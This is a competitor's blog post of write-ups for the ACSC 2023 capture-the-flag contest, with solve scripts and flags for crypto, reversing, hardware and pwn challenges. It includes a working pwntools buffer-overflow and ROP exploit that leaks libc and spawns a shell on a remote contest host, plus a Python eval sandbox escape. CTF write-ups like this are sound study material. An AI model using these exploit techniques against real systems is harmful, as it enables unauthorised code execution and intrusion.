ACSC 2023 Writeup

• Overview
• Welcome
• Warmup Crypto - Merkel Hellman
  • solve.py
• Warmup Reverse - serverless
  • decrypt.py
• Warmup Pwn - Vaccine
  • solve.py
• Hardware - hardware is not hard
  • extract.py
• Crypto - Check_number_63
  • Solve.py
• Reverse - ngo
  • solve.py
• Pwn - evalbox
  • solve.py
• [*]Crypto - DSA
  • solve.sage

Overview

This year I participated in Asian Cyber Security Challenge and placed 38th place out of all participants. This documents the writeups for all of the challenges I solved. The writeup will be in chronological order ;) Challenge solved after the competition are marked as [*]

Welcome

---

Well just welcome, you know the drill :) flag: ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}

Warmup Crypto - Merkel Hellman

---

This is a knapsack crypto system. But since the Private key space are too small, we can bruteforce all possible combination of private keys, and map the result to each character.

solve.py

import itertools

Public = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
#Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

sub = [0 for i in range(0x80)]
for c in range(0x80):
    s = 0
    for i in range(7):
            if c & (64>>i):
                    s += Public[i]
    sub[c] = s

flag = ""
for i in Ciphertext:
    flag += chr(sub.index(i))

print(flag)

flag: ACSC{E4zY_P3@zy}

Warmup Reverse - serverless

---

This is a reverse challenge in javascript. I just open the file in firefox and start substituting out the constants.

After a while it’s clear that it’s doing RSA on some randomly chosen prime pair, so I translate everything to python, and reverse the operations.

decrypt.py

from random import randint
from Crypto.Util.number import bytes_to_long, long_to_bytes

g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]
#k = randint(0, 10)
#j = randint(0, 10)
#r = g[k] * h[j]
#s = randint(0, 5)
#t = 2 ** (2 && s) + 1

#u = byte_to_long;
#v = u(message);

#w = pow
#x = pow(v, t, r)

y = [117,96,98,107,7,43,220,233,126,131,201,15,244,105,252,125,10,166,219,230,250,82,211,101,195,39,240,158,174,59,103,153,122,36,67,179,224,108,9,88,191,91,14,224,193,52,183,215,11,26,30,183,133,161,169,91,48,229,99,199,165,100,218,0,165,41,55,118,227,236,80,116,120,125,10,123,125,131,106,128,154,133,55,5,63,236,69,27,201,118,180,74,213,131,47,200,116,52,49,120,86,124,178,92,246,119,98,95,86,104,64,30,54,20,109,133,155,122,11,87,16,223,162,160,215,209,136,249,221,136,232]
y = y[::-1]
passwd = b"acscpass"
de_y = []
for i, n in enumerate(y):
    de_y.append(n^passwd[i%8])
print(de_y)
s, j, k = de_y[-3:]
print(s, k, j)


# it's rsa
e = 2**(2**s) + 1
print(e)
n = g[k] * h[j]
print(g[k])
print(h[j])
print(n)

enc = bytes_to_long(bytes(de_y[:-3][::-1]))
print(hex(enc))
phi = (g[k] - 1) * (h[j] - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(enc, d, n)))

flag: ACSC{warmup_challenge_so_easy}

Warmup Pwn - Vaccine

---

Putting the file into ghidra allow us to observe the behavior. The program compare the user input with a file, and output if the input matches. Note that it uses scanf("%s") to read input, so we can overflow the buffer. After that we just ROP, leak libc from GOT, and ret2system.

solve.py

#!/usr/bin/python3

from pwn import *
# from ctypes import CDLL

elf = ELF("./vaccine_patched")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]


def connect():
    if args.REMOTE:
        nc_str = "nc vaccine.chal.ctf.acsc.asia 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    else:
        p = process([elf.path])
        if not args.DEBUG:
            gdb_script = """
            b *main+417
            c
            """
            gdb.attach(p, gdb_script)

    return p


def main():
    p = connect()

    pop_rdi = 0x401443
    pop_rsi = 0x401441
    ret_nop = 0x40101a

    payload = b"A"*100
    payload+= b"\x00"*12
    payload+= b"A"*100
    payload+= b"\x00"*4
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef) #int i
    payload+= p64(0xdeadbeef) #save rbp
    payload+= p64(pop_rdi)
    payload+= p64(elf.got['puts'])
    payload+= p64(elf.symbols['puts'])
    payload+= p64(elf.symbols['main'])
    p.sendline(payload)

    p.recvuntil("reward:")
    p.recvline()
    leak = p.recv()
    libc_leak = u64(leak[:6].ljust(8, b"\x00"))
    print("got leak:", hex(libc_leak))
    libc.address = libc_base = libc_leak - libc.symbols['puts']

    payload = b"A"*100
    payload+= b"\x00"*12
    payload+= b"A"*100
    payload+= b"\x00"*4
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef)
    payload+= p64(0xdeadbeef) #int i
    payload+= p64(0xdeadbeef) #save rbp
    payload+= p64(pop_rdi)
    payload+= p64(next(libc.search(b"/bin/sh\x00")))
    payload+= p64(ret_nop)
    payload+= p64(libc.symbols['system'])
    payload+= p64(libc.symbols['exit'])
    p.sendline(payload)
    p.interactive()




if __name__ == "__main__":
    main()

flag: ACSC{RoP_3@zy_Pe4$y}

Hardware - hardware is not hard

So for this challenge first observe the spi.txt file. I notice that at the end it’s repeating the three different type of messages. It seems to be a command to ask for data, and acknoledgement, then the data. After some research I comfirm that finding. By folloing the SPI spec, start reading the data from the first fe byte, and strip out the last 2 bytes, we get a complete file. It turns out to be a jpg file. The spi_clean.txt file is the pre-processed spi.txt file to remove the irrelevent communications and only leave the data-transmitting part.

extract.py

f = open("spi_clean.txt").read().strip()

lines = f.split("\n")
print(lines)
pairs = []
for i in range(0, len(lines), 2):
    pairs.append((int(lines[i][-4:], 16), len(lines[i+1]), lines[i+1]))
    print(pairs[-1])
print(pairs)
pairs.sort()
output = b""
for i, p in enumerate(pairs[:-1]):
    for j in range(0, 200, 2):
        if p[2][j:j+2] == "fe":
            j+=2
            break
    output+=bytes.fromhex(p[2][j:-4])
    print(p[2][j:][:100])

output+=bytes.fromhex(pairs[-1][2][2:])

with open("flag.jpg","wb") as f:
    f.write(output[:])

flag: ACSC{1tW@sE@syW@snt1t}

Crypto - Check_number_63

For this challenge we are given 63 pairs of $(e_i, k_i)$ pair such that

\[e_i d = 1 + k_i \phi(n)\]

If we take each equation and mod(e), we get the following:

\[\begin{align} 0 &\equiv 1 + k_1 \phi(n) \pmod{e_1} \\\\ 0 &\equiv 1 + k_2 \phi(n) \pmod{e_2} \\\\ \vdots & \\\\ 0 &\equiv 1 + k_{63} \phi(n) \pmod{e_{63}} \\\\ \end{align}\]

And a little bit of rearrange later

\[\begin{align} \phi(n) &\equiv -k_1^{-1} \pmod{e_1} \\\\ \phi(n) &\equiv -k_2^{-1} \pmod{e_2} \\\\ \vdots & \\\\ \phi(n) &\equiv -k_{63}^{-1} \pmod{e_{63}} \\\\ \end{align}\]

We can then apply CRT to get a candidate $\phi(n)$, However, compare to n, the result of the above construction are still too small, So we start from a candidate closest to n, then decrement phi each time until we found our phi. We can then construct our flag according to the challenge source.

Solve.py

from Crypto.Util.number import long_to_bytes
from hashlib import sha512
from sage.all import *
f = open("output.txt")
n = int(f.readline().split("=")[-1])
pairs = f.read().strip().split("\n")

k0 = int(pairs[0].split(":")[-1])

res = []
modu = []
for p in pairs:
    e, k = map(int, p.split(":"))
    if(gcd(int(e), int(k))!=1): continue
    inv_k = pow(k, -1, e)
    inv_k = e - inv_k
#    print(e*inv_e%k)
    modu.append(e)
    res.append(inv_k)

#print(res, modu)
print(modu)
print(res)
phi = int(CRT_list(res, modu))
print("n: ", n)
print("phi: ",phi)
multiplier = int(reduce(lambda x, y: x*y, modu))
print("mul:", multiplier)
e = 65537
phi = (n // multiplier + 20) * multiplier + phi
print("phi: ",phi)

while True:
    print((n+1-phi), (n+1-phi)**2, 4*n)
    det = Integer((n+1-phi)**2 - 4*n)
    if(det.is_square()):break
    phi -= multiplier
print(det, sqrt(det))

p = Integer(((n + 1 - phi) + sqrt(((n + 1 - phi) ** 2) - 4 * n))/ 2)
print("p: ", p, Integer(n)%p)
q = n // p
assert(p*q == n)

if p > q:p,q = q,p
flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"
print(flag)

flag:

ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}

Reverse - ngo

At first I tried to just run the file. It was slowly outputing the flag but it’s getting slower and slower. Looking at the binary in ghidra, we notice that the program is generating the key through lfsr, which are run more and more time for later keys. I extracted the logic and implement the lfsr in python, then create the jump ahead function for it so I can get the key faster.

solve.py

import sys
from sage.all import *

ctr = 0x3D2964F0
seed = ctr
tap = 0x80200003
# Galois LFSR with length of 64 and const 0x80200003
def jump1(ctr, step):
    a = ctr
    for i in range(step):
        if(a%2==1):
            a = a // 2
            a ^= 0x80200003
        else:
            a = a // 2
    print(a)
    print(bin(a))

F = GF(2)
key = list(map(lambda x:F(int(x)), bin(tap)[2:].rjust(32, "0")))[::-1]
upd = identity_matrix(F, 32)
L = upd.rows()
for i in range(30):
    L[i] = L[i+1]
L[30] = [F(1) if i == 31 else F(0) for i in range(32)]
#L[31] = key
L[31] = [F(0) for i in range(32)]
upd = matrix(L)
L = upd.columns()
L[0] = key
upd = matrix(L).transpose()
print(upd)

def jump (ctr, step):
    v = vector(F, list(map(int, bin(ctr)[2:].rjust(32, "0")[::-1])))
    jmp = (upd**step)*v
    ret = 0
    for i in range(31, -1, -1):
        ret <<= 1
        ret += int(jmp[i])
#    print(ret)
#    print(bin(ret))
    return ret


#for i in range(10):
#    print(jump1(seed, i), jump(seed, i))


enc_array = b'\x01\x19\xef\x5a\xfa\xc8\x2e\x69\x31\xd7\x81\x21'

print("The Flag is \"ACSC{", end="")
ad = 1
for i in enc_array:
#    jump1(ctr, ad)
    ctr = jump(ctr, ad)
    print(chr((ctr&0xff)^i), end="")
    sys.stdout.flush()

    ad*=0x2a

print("}\"")

flag: ACSC{yUhFgRvQ2Afi}

Pwn - evalbox

The challenge is basically to read a file without triggering close system in python. I first extend the privillage from eval to exec with the first line, leak the file name with part 1 script, then print the flag witih part 2.

solve.py

#to exec long stuff
#[exec("\n".join([input() for i in range(10)])), 123]
#part 1
import os
import sys
fd = os.open("./" , os.O_RDONLY|os.O_NONBLOCK|os.O_CLOEXEC|os.O_DIRECTORY)
with os.scandir(fd) as f:
    for i in range(3):
        print(repr(next(f)))
    sys.stdout.flush()

#part 2
import sys
with open("./flag-0479f1dcda629bbe833598bce876a647.txt","r") as f:
    print(f.read())
    sys.stdout.flush()

flag: ACSC{bl4ckL1st_ruL3_1s_4lw4y5_d4ng3r0uS!}

[*]Crypto - DSA

In this challege the same message is signed with two different keys, note that the random number are shared across the two encryption.

\[\begin{align} s_1 &\equiv k^{-1}(Z + r_1 x) &\pmod{p_1} \\\\ s_2 &\equiv k^{-1}(Z + r_2 x) &\pmod{p_2} \\\\ \end{align}\]

Where k is the random number shared, and x is the private key we want to extract. Z is hash of the message, and s, r, p are constants we know.

From the above equation we can observe the following relationship, turning it from modular form to regular equations

\[\begin{align} k s_1 + x r_1 & = Z + n_1 p_1 \\\\ k s_2 + x r_2 & = Z + n_2 p_2 \\\\ \end{align}\] \[\begin{align} k s_1 + x r_1 - n_1 p_1 - Z &= 0\\\\ k s_2 + x r_2 - n_2 p_2 - Z &= 0\\\\ \end{align}\]

We can then add some more equations

\[\begin{align} k s_1 + x r_1 - n_1 p_1 - Z &= 0\\\\ k s_2 + x r_2 - n_2 p_2 - Z &= 0\\\\ -1 &= -1\\\\ k &= k\\\\ x &= x\\\\ \end{align}\]

Then we can construct the lattice from the equation

\[\begin{align} k \begin{bmatrix} s_{1} \\ s_{2} \\ 0 \\ 1 \\ 0 \end{bmatrix} +x \begin{bmatrix} r_{1} \\ r_{2} \\ 0 \\ 0 \\ 1 \\ \end{bmatrix} +n_1 \begin{bmatrix} -p_1 \\ 0 \\ 0 \\ 0 \\ 0 \end{bmatrix} + n_2 \begin{bmatrix} 0 \\ -p_2 \\ 0 \\ 0 \\ 0 \end{bmatrix} +\begin{bmatrix} -Z \\ -Z \\ 1 \\ 0 \\ 0 \end{bmatrix} =\begin{bmatrix} 0 \\ 0 \\ 1 \\ k \\ x \end {bmatrix} \end{align}\]

We then apply LLL on the matrix to get k and x

Note that to make the result vector balance, we can multiple the matrix by a constant factor before solving with LLL. In this case we know that k is 512 bits and x is 504 bits, so we decrease the length of the last two entry before calling LLL, then scale back up when it’s done. Shout out to Mystiz ✔✔#1337 on discord for sharing this trick. My original construction looks as follow

\[\begin{align} k \begin{bmatrix} s_{1} \\ s_{2} \\ 1 \\ 0 \end{bmatrix} +x \begin{bmatrix} r_{1} \\ r_{2} \\ 0 \\ 1 \\ \end{bmatrix} +n_1 \begin{bmatrix} -p_1 \\ 0 \\ 0 \\ 0 \end{bmatrix} + n_2 \begin{bmatrix} 0 \\ -p_2 \\ 0 \\ 0 \end{bmatrix} =\begin{bmatrix} Z \\ Z \\ k \\ x \end {bmatrix} \end{align}\]

In this case the resulting vector are still too large, so LLL have a lower chance of finding it.

solve.sage

import os
from hashlib import sha256
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse, long_to_bytes
#from sage.all import *

g = 4
p1, p2 = 6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699, 6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839
q1, q2 = (p1-1)//2, (p2-1)//2
print(q1, q2)
print(q1-1, q2-1)
y1, y2 = 4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074, 1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759
m = b'omochi mochimochi mochimochi omochi'
r1, s1 = (2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630, 705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802)
r2, s2 = (3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604, 2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373)

def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)

hm = h(m)

# equations
# s1 k - r1 x = hm % q1
# s2 k - r2 x = hm % q2

weights = [1, 1, 1, 1/2^512, 1/2^504]
Q = diagonal_matrix(weights)

L = Matrix([
    [hm, hm, 1, 0, 0],
    [s1, s2, 0, 1, 0],
    [r1, r2, 0, 0, 1],
    [q1, 0, 0, 0, 0],
    [0, q2, 0, 0, 0]])

L = L*Q

possible = L.LLL()/Q



print(possible)
for i, j, k, l, m in possible:
    if(i==j and abs(k) == 1):
        X = m * k
        print(long_to_bytes(int(X)))

flag: ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}

---

<

Previous Post

HackTM 2023 - d-phi-enc

>

Next Post

b01lersCTF 2023 - Padlock